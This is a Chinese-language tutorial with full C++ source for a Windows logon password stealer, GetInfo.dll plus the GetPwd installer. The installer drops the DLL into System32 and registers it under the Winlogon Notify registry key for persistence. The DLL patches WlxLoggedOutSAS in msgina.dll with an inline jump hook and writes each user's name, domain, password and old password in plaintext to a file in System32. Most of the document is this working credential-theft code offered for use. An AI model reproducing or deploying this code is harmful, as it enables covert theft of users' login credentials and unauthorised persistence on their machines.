实现步骤:
1. 生成GetInfo.dll
2. 将生成的GetInfo.dll作为资源放到GetPwd工程中
3. 生成GetInfo.exe
4. 运行GetInfo.exe install
5. 重启机器,输入密码,进入系统后会得到C:\WINDOWS\System32\getPwdout.txt文件,文件内容为:
实现原理:
将GetInfo.dll,放在WinLogon\Notify注册表下时,系统启动后会自动加载GetInfo.dll,而GetInfo.dll在加载时会HOOK掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有
PWLX_MPR_NOTIFY_INFO
结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了。。
GetInfo.dll的实现
// GetInfo.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" #include "GetInfo.h" #include <stdio.h> #include <fstream.h> #include <iostream.h> //using namespace std; //宏定义 #define WLX_SAS_ACTION_LOGON (1) //WLX_MPR_NOTIFY_INFO结构 typedef struct _WLX_MPR_NOTIFY_INFO { PWSTR pszUserName; PWSTR pszDomain; PWSTR pszPassword; PWSTR pszOldPassword; } WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO; //函数原形 typedef int (WINAPI* WlxLoggedOutSAS)( PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, PVOID *pProfile ); //自定义接管的API函数,形参保持一致 int WINAPI FunNewADDR( PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, PVOID *pProfile ); //定义字节对齐方式 #pragma pack(1) struct HookTable{ HMODULE hMsgina; WlxLoggedOutSAS OldADDR; WlxLoggedOutSAS NewADDR; unsigned char charOldCode[6]; unsigned char charJmpCode[6]; }; //全局hook表 HookTable hooktable = { 0, 0, &FunNewADDR, "\x8b\xff\x55\x8B\xEC", "\xE9\x00\x00\x00\x00" }; #pragma pack() ////////////////////////////////////////////////////////////////////////// /////函数声明 /////////////////////////////////////////////////////////////////////////// VOID UnHookWlxLoggedOutSAS(); VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo); DWORD WINAPI StartHook(LPVOID lpParam); VOID HookWlxLoggedOutSAS(); int WINAPI FunNewADDR( PVOID pWlxContext, DWORD dwSasType, PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions, PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, PVOID *pProfile ) /************************************************************************/ /* 函数说明:自定义函数,用来取代WlxLoggedOutSAS */ /* 参数:与WlxLoggedOutSAS参数相同 */ /* 返回值:与WlxLoggedOutSAS返回值相同 */ /************************************************************************/ { UnHookWlxLoggedOutSAS(); int i = hooktable.OldADDR(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo,pProfile); if (i == WLX_SAS_ACTION_LOGON) { WriteLog(pNprNotifyInfo); } return i; } VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo) /************************************************************************/ /* 函数说明:将得到的用户名和密码信息写入%system%/getPwdout.txt文件中 */ /* 参数:pNprNotifyInfo 包含用户名和密码的结构体 */ /* 返回值:无 */ /************************************************************************/ { char szSystemDir[MAX_PATH] = {0}; GetSystemDirectory(szSystemDir, MAX_PATH - 1 ); char szFilePath[MAX_PATH] = {0}; strcat(szFilePath, szSystemDir); strcat(szFilePath, "\\getPwdout.txt"); ofstream outfile; outfile.open(szFilePath); char szContent[1024 * 4] = {0}; sprintf(szContent, "username:%ws\nDomain:%ws\npassword:%ws\nOldPassword:%ws\n\n", pNprNotifyInfo->pszUserName, pNprNotifyInfo->pszDomain, pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword); outfile.write(szContent, strlen(szContent)); outfile.close(); } VOID HookWlxLoggedOutSAS() /************************************************************************/ /* 函数说明:HOOK WlxLoggedOutSAS函数 */ /* 参数:无 */ /* 返回值:无 */ /************************************************************************/ { DWORD OldProcte; VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte); unsigned char *p = (unsigned char*)hooktable.OldADDR; for (int i=0; i < 5; i++) { p[i] = hooktable.charJmpCode[i]; } VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte); return; } VOID UnHookWlxLoggedOutSAS() /************************************************************************/ /* 函数说明:恢复WlxLoggedOutSAS函数的原形 */ /* 参数:无 */ /* 返回值:无 */ /************************************************************************/ { DWORD OldProcte; VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte); unsigned char *p = (unsigned char*)hooktable.OldADDR; for (int i=0; i < 5; i++) { p[i] = hooktable.charOldCode[i]; } VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte); return; } DWORD WINAPI StartHook(LPVOID lpParam) /************************************************************************/ /* 函数说明:得到WlxLoggedOutSAS函数地址,并HOOK WlxLoggedOutSAS函数 */ /* 参数:无 */ /* 返回值:0表示成功 */ /************************************************************************/ { //得到msgina.dll //hooktable.hMsgina int n = 0; hooktable.hMsgina = LoadLibrary("msgina.dll"); n = GetLastError(); if (NULL == hooktable.hMsgina) { printf("getmoduleHandle msgina.dll error"); return -1; } //得到WlxLoggedOutSAS hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS"); if (NULL == hooktable.OldADDR) { printf("GetProcAddress WlxLoggedOutSAS error"); return -1; } int *OpCode = (int*)&hooktable.charJmpCode[1]; int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5; *OpCode = Code; HookWlxLoggedOutSAS(); return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) /************************************************************************/ /* 函数说明:DLL的主函数 */ /* 参数: */ /* 返回值: */ /************************************************************************/ { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { //::CreateThread(NULL, 0, StartHook, NULL, 0, NULL); StartHook(NULL); } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // This is the constructor of a class that has been exported. // see GetInfo.h for the class definition CGetInfo::CGetInfo() { return; } extern "C" __declspec(dllexport) void start() { return; }
// getpwd.cpp : Defines the entry point for the console application. // #include "afx.h" #include <Windows.h> #include "resource.h" #include <Winerror.h> #include <Shlwapi.h> #pragma comment(lib, "Shlwapi.lib") LPBYTE CString_To_LPBYTE(CString str) /************************************************************************/ /* 函数说明:将cstring类型转换成LPBYTE类型 */ /* 参数:str 要转换的CString类型 */ /* 返回值:LPBYTE 转换后的LPBYTE类型 */ /************************************************************************/ { LPBYTE lpb=new BYTE[str.GetLength()+1]; for(int i=0;i<str.GetLength();i++) lpb[i]=str[i]; lpb[str.GetLength()]=0; return lpb; } BOOL install() /************************************************************************/ /* 函数说明:释放DLL,并将DLL的路径写入到注册表中 */ /* 参数:无 */ /* 返回值:无 */ /************************************************************************/ { //释放资源 //定位我们的自定义资源,这里因为我们是从本模块定位资源,所以将句柄简单地置为NULL即可 HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_IDR_DLL1), TEXT("IDR_DLL")); if (NULL == hRsrc) return FALSE; //获取资源的大小 DWORD dwSize = SizeofResource(NULL, hRsrc); if (0 == dwSize) return FALSE; //加载资源 HGLOBAL hGlobal = LoadResource(NULL, hRsrc); if (NULL == hGlobal) return FALSE; //锁定资源 LPVOID pBuffer = LockResource(hGlobal); if (NULL == pBuffer) return FALSE; char szSystemDir[MAX_PATH] = {0}; GetSystemDirectory(szSystemDir, MAX_PATH-1); char szRelDll[MAX_PATH] = {0}; strcat(szRelDll, szSystemDir); strcat(szRelDll, "\\GetInfo.dll"); DeleteFile(szRelDll); HANDLE hFile = CreateFile(szRelDll, FILE_GENERIC_READ|FILE_GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (NULL == hFile) { return FALSE; } DWORD dwWritten; WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL); CloseHandle(hFile); FreeResource(hGlobal); //将释放的DLL写入到注册 表的WINLOGON下,当WINLOGON启动时,会加载这个DLL CString strDllPath = szRelDll; //("dog"); //设置有关的数据 //CString_To_LPBYTE,请参考下面的函数 LPBYTE dllpath_Set=CString_To_LPBYTE(strDllPath);//定义用户姓名 owner_Set DWORD type_1=REG_SZ;//定义数据类型 DWORD cbData_1=strDllPath.GetLength()+1;//定义数据长度 DWORD status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "dllname", type_1, dllpath_Set, cbData_1); if (ERROR_SUCCESS != status) { printf("write reg:dllname error"); return FALSE; } CString strStartUp("dog"); LPBYTE startup_set=CString_To_LPBYTE(strStartUp);//定义公司名称 company_Set DWORD type_2=REG_SZ;//定义数据类型 DWORD cbData_2=strStartUp.GetLength()+1;//定义数据长度 status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "startup", type_2, startup_set, cbData_2); if (ERROR_SUCCESS != status) { printf("write reg:dllname error"); return FALSE; } return TRUE; } BOOL decry() /************************************************************************/ /* 函数说明:用于解密生成的密码文件,生成密码文件时没有加密,所以这里没实现*/ /* 参数:无 */ /* 返回值:无 */ /************************************************************************/ { return TRUE; } VOID usage() /************************************************************************/ /* 函数说明:打印使用帮助 */ /* 参数:无 */ /* 返回值:无 */ /************************************************************************/ { printf("************************************\n"); printf("usages:\n"); printf("getpwd.exe install\n"); printf("getpwd.exe decryp\n"); printf("************************************\n"); } int main(int argc, char* argv[]) /************************************************************************/ /* 函数说明:Main函数 */ /* 参数:无 */ /* 返回值:无 */ /************************************************************************/ { if (argc != 2) { usage(); return -1; } if (stricmp(argv[1], "install") == 0) { install(); getchar(); return 0; } else if (stricmp(argv[1], "decryp") == 0) { decry(); return 0; } else { usage(); return 0; } return 0; }